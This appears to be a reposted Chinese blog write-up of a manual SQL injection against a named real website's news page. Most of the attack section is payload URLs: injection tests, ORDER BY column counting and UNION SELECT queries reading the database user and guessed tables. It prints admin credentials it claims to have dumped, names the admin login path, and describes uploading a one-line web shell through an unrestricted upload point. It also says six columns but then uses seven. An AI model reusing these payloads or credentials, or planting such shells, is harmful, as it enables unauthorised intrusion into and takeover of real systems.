自己總結的,一次簡單的手工注入


手工SQL注入:

網址:http://battery.tcl.com/read_news.php?id=38

判斷是否有注入點,通常是:單引號(') and 1=1 and 1=2
http://battery.tcl.com/read_news.php?id=38' (錯誤)
http://battery.tcl.com/read_news.php?id=38 and 1=1 (正確)
http://battery.tcl.com/read_news.php?id=38 and 1=2 (錯誤)

判斷數據庫中數據條數: order by X
http://battery.tcl.com/read_news.php?id=38 order by 5 <正確>
http://battery.tcl.com/read_news.php?id=38 order by 8 <錯誤>
http://battery.tcl.com/read_news.php?id=38 order by 7 <正確>

說明數據庫中有6條數據

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,2,3,4,5,6,7

查看在頁面上顯示的數,待會替換為自己想要的數據,就可以讀出:(這兒顯示出2,4,7)


http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,user(),3,4,5,6,7即可讀出數據庫用戶名=》jacky@localhost


常用的MySQL內置函數:
USER() ——用戶 =》jacky@localhost
database() --數據庫名 =》battery
version() ——數據庫版本
char() ——指定字符
load_file() ——讀取指定文件

看看讀取數據庫是否能成功:
http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,table_name,3,4,5,6,7 from information_schema.tables

<遺憾的是失敗了>

union select 1,2,3,SCHEMA_NAME,5,6,7 from information_schema.SCHEMATA

<也失敗了> 哎 只能靠猜了,這個主要靠經驗,當然,也可以靠工具,拿本字典跑,這兒運氣比較好,一下下就猜出來了:

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,username,3,4,5,6,7 from admin (不是)

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,username,3,4,5,6,7 from user (對了)

http://battery.tcl.com/read_news.php?id=38 and 1=2 union select 1,password,3,4,5,6,7 from user

這樣就獲得了后台后台用戶username 和password:
username:tcl168
password:ljc22418

接下來就是找后台,這兒拿工具掃的話,有點難,掃不出來,還是得靠經驗:后台在網址里面:http://battery.tcl.com/battery/login.php
所以說得多實踐,多積累經驗,經驗才是最好的知識!

廢話不多說,直接登錄,看一遍后台:1.上傳點。上傳點是否做了限制,還有數據庫備份什么的對后面拿shell都可能有很多用;

找到上傳點,看了看,發現沒有上傳限制,直接一個一句話傳上去。拿菜刀一連,成功!OK!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM